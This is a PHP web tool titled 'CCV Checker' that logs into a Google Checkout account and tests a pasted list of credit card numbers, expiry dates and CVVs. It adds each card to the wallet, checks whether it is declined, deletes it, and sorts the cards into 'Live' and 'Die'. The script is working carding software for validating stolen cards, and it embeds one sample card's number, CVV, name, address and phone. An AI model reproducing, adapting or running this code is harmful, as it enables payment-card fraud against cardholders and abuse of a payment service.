Code:
<?php
set_time_limit(0);
function _curl($url,$post="",$usecookie = false,$header=false) {
$ch = curl_init();
if($post) {
curl_setopt($ch, CURLOPT_POST ,1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($usecookie) {
curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
}
if($header) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
//curl_setopt($ch, CURLOPT_HEADER,1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec ($ch);
curl_close ($ch);
return $result;
}
function _date($cclist){
if (!is_null($cclist)){
foreach ($cclist as $cc){
$ccnum = info($cc,"xx yyyy");
if ($ccnum){
$_d = $ccnum['year'].$ccnum['mon'];
$order[$_d][] = $cc;
}
else $order['e'][] = $cc;
}
ksort($order);
if (!is_null($order)) foreach ($order as $_d) foreach ($_d as $cc) $ok[] = $cc;
if (!is_null($order['e'])) foreach ($order['e'] as $cc) $ok[]=$cc;
return $ok;
}
}
function _bin($ccnum){
if (isset($_POST['bin'])){
$blen = strlen($_POST['bin']);
$bin = substr($ccnum['num'],0,$blen);
if ($bin == $_POST['bin']) return true;
else return false;
}
else return true;
}
function _dup($cclist){
for ($i = 0;$i < count($cclist); $i++){
$ccnum = info($cclist[$i],"xx yyyy");
if ($ccnum["num"] > 0){
$cc = $ccnum["num"];
for ($j = $i + 1;$j < count($cclist); $j++){
if($cclist[$j] == ""){
continue;
}
if (inStr(str_replace("-","",str_replace(" ","",$cclist[$j])),$cc)) $cclist[$j] = "";
}
}
}
foreach($cclist as $i => $cc) if ($cc == "") unset($cclist[$i]);
$ok = array_values($cclist);
return $ok;
}
function percent($num_amount, $num_total) {
$count1 = $num_amount / $num_total;
$count2 = $count1 * 100;
$count = number_format($count2, 0);
return $count;
}
function getStr($string,$start,$end){
$str = explode($start,$string);
$str = explode($end,$str[1]);
return $str[0];
}
function checkMon($date,$type){
$len = strlen($date);
if ($type == 2){
if($len == 2){
return $date;
}
elseif($len == 1){
switch($date){
case '1': $date='01'; break;
case '2': $date='02'; break;
case '3': $date='03'; break;
case '4': $date='04'; break;
case '5': $date='05'; break;
case '6': $date='06'; break;
case '7': $date='07'; break;
case '8': $date='08'; break;
case '9': $date='09'; break;
}
}
return $date;
}
elseif ($type == 1){
if($len == 2){
switch ($date){
case '01': $date='1'; break;
case '02': $date='2'; break;
case '03': $date='3'; break;
case '04': $date='4'; break;
case '05': $date='5'; break;
case '06': $date='6'; break;
case '07': $date='7'; break;
case '08': $date='8'; break;
case '09': $date='9'; break;
case '10': $date='10'; break;
case '11': $date='11'; break;
case '12': $date='12'; break;
}
return $date;
}
elseif($len == 1) return $date;
}
else return false;
}
function checkYear($date,$type){
$len = strlen($date);
if($type == 4){
if($len == 4) return $date;
elseif($len == 2) return "20".$date;
}
elseif($type == 2){
if($len == 2) return $date;
elseif($len == 4) return substr($date,-2);
}
else return false;
}
function multi_explode($pattern, $string, $standardDelimiter = ':'){
$string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
return explode($standardDelimiter, $string);
}
function info($ccline,$type){
$ccline = str_replace(" ","",$ccline);
$pattern = '/[:\|\\\\\/\s]/';
$line = multi_explode($pattern,$ccline);
$typemy = explode(" ",$type);
$typem = strlen($typemy[0]);
$typey = strlen($typemy[1]);
$amex = "AMEX";
$visa = "VISA";
$mast = "MC";
$disc = "DISCOVER";
foreach($line as $col){
if(is_numeric($col)){
switch(strlen($col)){
case 15:
if(substr($col,0,1)==3){
$ccnum['num'] = $col;
$ccnum['type'] = $amex;
}
break;
case 16:
switch(substr($col,0,1)){
case '4':
$ccnum['num'] = $col;
$ccnum['type'] = $visa;
break;
case '5':
$ccnum['num'] = $col;
$ccnum['type'] = $mast;
break;
case '6':
$ccnum['num'] = $col;
$ccnum['type'] = $disc;
break;
}
break;
case 1:
if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
case 2:
if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
$ccnum['mon'] = checkMon($col,$typem);
}
elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year']))) $ccnum['year'] = checkYear($col,$typey);
break;
case 4:
if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon']))) $ccnum['year'] = checkYear($col,$typey);
elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
$ccnum['year'] = checkYear(substr($col,-2),$typey);
}
else $ccv['cv4'] = $col;
break;
case 6:
if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
$ccnum['year'] = checkYear(substr($col,-2),$typey);
}
break;
case 3:
$ccv['cv3'] = $col;
break;
}
}
}
if(isset($ccnum["num"])){
if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
else $ccnum['cvv'] = $ccv['cv3'];
return $ccnum;
}
else{
$ccnum["num"] = false;
return $ccnum;
}
}
function inStr($s,$as){
$s=strtoupper($s);
if(!is_array($as)) $as=array($as);
for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
return false;
}
function rand_acc(){
$acc = Array();
$acc[] = "ltb||ltb";
$ran = array_rand($acc);
return explode("||", $acc[$ran]);
}
if ($_POST['cclist']){
global $cookie;
$cookie = tempnam('cookie','avo'.rand(1000000,9999999).'ltb123.txt');
$cclive = "";
$ccdie = "";
$ccerr = "";
$cccant = "";
$uncheck = "";
$mail = urlencode(trim($_POST['user']));
$pass = urlencode(trim($_POST['pass']));
if($mail == "" || $pass == ""){
Die('<center><font color=red size=4>Username and Password Cannot be Blank</font></center>');
}
$url = "http://checkout.google.com";
$s = _curl($url,"",$cookie);
$dsh = getStr(getStr($s,'dsh" id="dsh',' />'),'value="','"');
$galx = getStr(getStr($s,'GALX"',' />'),'value="','"');
$url = "https://www.google.com/accounts/ServiceLoginAuth";
$post = "ltmpl=default&continue=https%3A%2F%2Fcheckout.google.com%2Fmain%3Fupgrade%3Dtrue&service=sierra&nui=1&dsh=$dsh<mpl=default&hl=en_US<mpl=default&timeStmp=&secTok=&GALX=$galx&Email=$mail&Passwd=$pass&signIn=Sign+in&asts=";
$s = _curl($url,$post,$cookie);
// if(!stristr($s,'<a href="https://checkout.google.com/viewWallet">Edit payment methods</a>')){
// Die('<center><font color=red size=4>Account Error. Change another Account 2</font></center>');
// }
$dellink = "";
$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);
$token = urlencode(getStr($s,'userToken" type="hidden" value="','"'));
$url = "https://checkout.google.com/efe/editBillingInformation?s7e=creditcard.cardNumber:n;creditcard.cvv:n";
$post = "logoutContinueUrl=https%3A%2F%2Fcheckout.google.com%2FviewWallet&creditcard=US&creditcard.hiddenFopTypeKey=US%3ACREDIT_CARD&creditcard.fopInputSelection=CREDIT_CARD&creditcard.lastDigits=0526&creditcard.type=VISA&creditcard.cardBrand=&creditcard.cardNumber=4185-8749-6349-0526&creditcard.exp.month=4&creditcard.exp.year=2013&creditcard.cvv=981&creditcard.start.month=&creditcard.start.year=&creditcard.issue=&creditcard.accountNumber=&creditcard.bankCode=&creditcard.name=Jimmy+Wilson&creditcard.iso3166CountryCode=US&creditcard.enableCaseChecking=false&creditcard.street1=1645+E.+13th+Street&creditcard.street2=&creditcard.town=Ogden&creditcard.state=UT&creditcard.zip=84404&creditcard.phone=503+642-7494&creditcard.submit=Save&userToken=$token";
$s = _curl($url,$post,$cookie);
sleep(5);
$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);
$id = getStr(getStr($s,'xxx-0526','id="deleteInstrument1"'),'instrumentId=','&');
$del = "https://checkout.google.com/viewWallet?instrumentId=$id&userToken=$token&deleteInstrument=true&tzfp=NULL";
$b = _curl($del,"",$cookie);
$teststr = getStr($s,'xxx-0526','Expires');
if(!stristr($teststr,'Declined')){
Die('<center><font color=red size=4>Account Error. Change another Account 1</font></center>');
}
$cclist = trim($_POST['cclist']);
$cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
$cclist = str_replace("\r\r","\r",$cclist);
$cclist = str_replace("\n\n","\n",$cclist);
$cclist = explode("\n",$cclist);
if (isset($_POST['dup'])) $cclist = _dup($cclist);
$STT = 0;
$TOTAL = count($cclist);
$handle = fopen($uploadfile, 'a+');
for($i=0;$i<count($cclist);$i++){
$ccnum = info($cclist[$i],"x yyyy");
$type = $ccnum['type'];
$ccn = $ccnum['num'];
$ccmon = $ccnum['mon'];
$ccyear = $ccnum['year'];
$cvv = $ccnum['cvv'];
$count_user=get_credit($user);
if ($count_user>=0)
if ($ccn){
if(_bin($ccnum)){
if($type == "AMEX"){
$ccn = substr($ccn,0,4)."-".substr($ccn,4,6)."-".substr($ccn,-5);
}
else{
$ccn = substr($ccn,0,4)."-".substr($ccn,4,4)."-".substr($ccn,8,4)."-".substr($ccn,-4);
}
$last4 = substr($ccn,-4);
$STT++;
$dellink = "";
$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);
$token = urlencode(getStr($s,'userToken" type="hidden" value="','"'));
$url = "https://checkout.google.com/efe/editBillingInformation?s7e=creditcard.cardNumber:n;creditcard.cvv:n";
$post = "logoutContinueUrl=https%3A%2F%2Fcheckout.google.com%2FviewWallet&creditcard=US&creditcard.hiddenFopTypeKey=US%3ACREDIT_CARD&creditcard.fopInputSelection=CREDIT_CARD&creditcard.lastDigits=$last4&creditcard.type=$type&creditcard.cardBrand=&creditcard.cardNumber=$ccn&creditcard.exp.month=$ccmon&creditcard.exp.year=$ccyear&creditcard.cvv=$cvv&creditcard.start.month=&creditcard.start.year=&creditcard.issue=&creditcard.accountNumber=&creditcard.bankCode=&creditcard.name=Jimmy+Wilson&creditcard.iso3166CountryCode=US&creditcard.enableCaseChecking=false&creditcard.street1=1645+E.+13th+Street&creditcard.street2=&creditcard.town=Ogden&creditcard.state=UT&creditcard.zip=84404&creditcard.phone=503+642-7494&creditcard.submit=Save&userToken=$token";
$s = _curl($url,$post,$cookie);
sleep(5);
$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);
$id = getStr(getStr($s,'xxx-'.substr($ccn,-4),'id="deleteInstrument1"'),'instrumentId=','&');
$del = "https://checkout.google.com/viewWallet?instrumentId=$id&userToken=$token&deleteInstrument=true&tzfp=NULL";
$b = _curl($del,"",$cookie);
$teststr = getStr($s,'xxx-'.substr($ccn,-4),'Expires');
if(stristr($teststr,'Declined')){$count_user = $count_user-$price;
update_credit($user,$count_user);
echo "$STT/$TOTAL |Credit: " .$count_user."| <font color=red><b>Die ==> | </b>".$cclist[$i]."</font><br>";
$ccdie .= $cclist[$i]."\n";
}
elseif(stristr($s,'xxx-'.substr($ccn,-4))){$count_user = $count_user-$price;
update_credit($user,$count_user);
echo "$STT/$TOTAL |Credit: " .$count_user."| <font color=blue><b>Live ==> | </b>".$cclist[$i]."</font><br>";
$cclive .= $cclist[$i]."\n";
}
else{
echo "$STT/$TOTAL | <font color=orange><b>CantCheck ==> | </b>".$cclist[$i]."</font><br>";
$cccant .= $cclist[$i]."\n";
}
}
}
flush();
}
unlink($cookie);
if (!is_null($cc['live'])){
if (isset($_POST['date'])){ $cc['live'] = _date($cc['live']); }
foreach($cc['live'] as $ss){ $cclive .= $ss."\n"; }
}
if (!is_null($cc['die'])){
foreach($cc['die'] as $ss){ $ccdie .= $ss."\n"; }
}
if (!is_null($cc['cant'])){
foreach($cc['cant'] as $ss){ $cccant .= $ss."\n"; }
}
$per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
$per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
$per3 = percent(count(explode("\n",$ccerr))-1,count($cclist));
$per4 = percent(count(explode("\n",$cccant))-1,count($cclist));
$per5 = percent(count(explode("\n",$uncheck))-1,count($cclist));
echo "<center>";
if($cclive!=""){
echo "<h2><font color=blue>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$cclive</textarea><br>";
}
if($ccdie!=""){
echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$ccdie</textarea><br>";
}
if($ccerr!=""){
echo "<h2><font color=orange>Error</font> $per3 % (".(count(explode("\n",$ccerr))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$ccerr</textarea><br>";
}
if($cccant!=""){
echo "<h2><font color=green>CantCheck</font> $per4 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$cccant</textarea><br>";
}
if($uncheck!=""){
echo "<h2><font color=green>UnCheck</font> $per5 % (".(count(explode("\n",$uncheck))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$uncheck</textarea><br>";
}
}
else{
?>
<center><h1>--[ CCV Checker ]--</h1><br>Credit Card List:<br><br>
<form action="" method=post name=f>
Acc google checkout : <input type=text name=user> Password : <input type=text name=pass><br>
<textarea wrap="off" name=cclist cols=90 rows=20># Accept: Vis, Mas, Amex, Dis
# Need : Acc Google Checkout
# Country: All
# No-charg, No-kill ,No-Log
# Unlimit line</textarea><br>
<b>Dupe : <input name=dup type=checkbox value=1 checked> --- Sort Date: <input name=date type=checkbox value=1 checked> --- Check Theo Bin: <input type=text name=bin MAXLENGTH=6 size=8></b>
<br><br> <input type=submit name=submit size=10 value="CHECK NOW">
</form>
<?php }?>